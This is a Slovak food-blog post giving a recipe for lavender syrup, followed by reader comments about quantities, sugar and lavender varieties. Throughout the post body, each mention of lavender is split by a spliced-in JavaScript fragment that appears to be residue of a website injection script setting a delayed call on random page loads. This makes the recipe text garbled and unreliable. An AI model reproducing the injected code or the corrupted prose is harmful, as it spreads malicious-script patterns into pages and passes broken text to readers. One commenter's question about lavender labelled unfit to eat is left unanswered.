S levandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anduľovým sirupom ma zoznámila moja výborná kamarátka, Andrejka Maršáková. Nejako ma nainfikovala levandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anduľovou mániou a vždy som túžila, urobiť si levandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anduľový sirup sama. Nikdy som ale nemala taký zdroj, ktorý by ma vedel zásobovať dostatočným množstvom levandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andule. Až teraz! Moja teta Marika má veľký lán, o čom som ale nevedela a poslala mi za veľkú tašku kvetov! Skoro som odpadla, lebo som ju poprosila len o asi 3 hrste levandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andule, na skúšku 😀
A tak som sirup urobila vo veľkom! Chutí neskutočne! Upozorňujem, že sirup je naozaj veľmi silný a stačí ho len trošičku pridať 😉 Môj obľúbený mix je zmiešať [ilink url=“https://www.miriamkalisova.sk/2016/06/10/nevareny-jahodovo-matovy-sirup-s-vanilkou/“ icon=“jahodový sirup“]jahodový sirup[/ilink] s troškou levandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anduľového a pár kvapkami citrónovej šťavy. Je to veľmi osviežujúce. No ale poďme na môj improvizovaný recept 😉 Snáď som si to dobre zapamätala 😉
Ingrediencie
- 500 g čerstvých levandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anduľových kvetov bez stonky
- 4 bio citróny
- 2,5 l prevarenej vychladnutej vody
- 1,5 kg trstinového cukru (snažte sa použiť čo najsvetlejší, aby ste zachovali tú nádhernú farbu
Postup
- Levandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anduľové kvety zalejeme šťavou zo 4 citrónov a vychladnutou prevarenou vodou. Zakryjeme a odložíme na 24 hodín do chladničky.
- Vylúhovaný macerát scedíme cez husté sitko, alebo gázu do hrnca, dosypeme cukrom a na miernom plameni zohrievame, kým sa nerozpustí všetok cukor.
Čistý macerát bez cukru - Keď sirup dosiahne teplotu 80 stupňov, povaríme ho pri tejto teplote asi 5 minút a nalejeme do vysterilizovaných horúcich fliaš a zatvoríme.
- Necháme vychladnúť a skladujeme v studenej špajzi, alebo v chladničke. Pre istotu to mám v chladničke, ale možno by to v poho vydžalo aj vonku.
Ak milujete levandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anduľu minimálne tak, ako ja, určite neoľutujete 🙂 Želám vám krásne leto!
Super Mirka už má m urobený no len jednu fľašu – nedostatok levandule no zeby písali že ak dáš trstinový farba bude iná no ty máš nádhernú
jej no super…tesim sa 🙂 s tou levandulou som aj ja mala problem, zohnat zdroj…ale uz aj moja mamina nasadila, tak uvidime, ci prezimuje 🙂 je trosku tmavsi, ako bol iba cisty macerat a ja som nemala az tak tmavy cukor, ale so svetlejsim trstinacom musi byt nadherny 🙂 Ja akurat popijam jahodovo-levandulovu limonadu…mnaaaam 🙂
Mirka, obsahuje Tvoj receptar aj nejaky kolacik s plnkou z levanduloveho sirupu? 🙂 Velmi by potesil.
vacsinou sirup pridavam do vanilkovych muffinov, alebo susienok, alebo cheesecakeu…treba dat len pozor na konzistenciu cesta…ale nemam speci recept na to…pridavam od oka 😀 Ale dobre na zamyslenie, nieco spisem a pridam urcite 😀
mirka prosim vas to fakt treba na 2,5 litra az 500g levandule? to sa mi totiz zda strasne vela. nie je to potom horske? dakujem
vobec nie 🙂 je to koncentrovane silno a staci malicko do limonady 🙂 dosladzujem limonadu potom javorovym sirupom 🙂
Dobrý deň, na internete som videla viacero receptov na levandulovy sirup, ale nikde sa nepise, z akého druhu levandule ho mozno vyrobit. Mam v zahradke dva – augustifolia ‚Felice‘ a stoechas “anouk‘ a na oboch je na letaciku, ze je nevhodna na konzumáciu. Su to bezne dostupne druhy, vidavam ich v zahradkach. Aku si mam teda zadovazit? Ďakujem za odpoveď 🙂
Na 1,5 kg cukru treba ešte dosladzovať javorovým sirupom?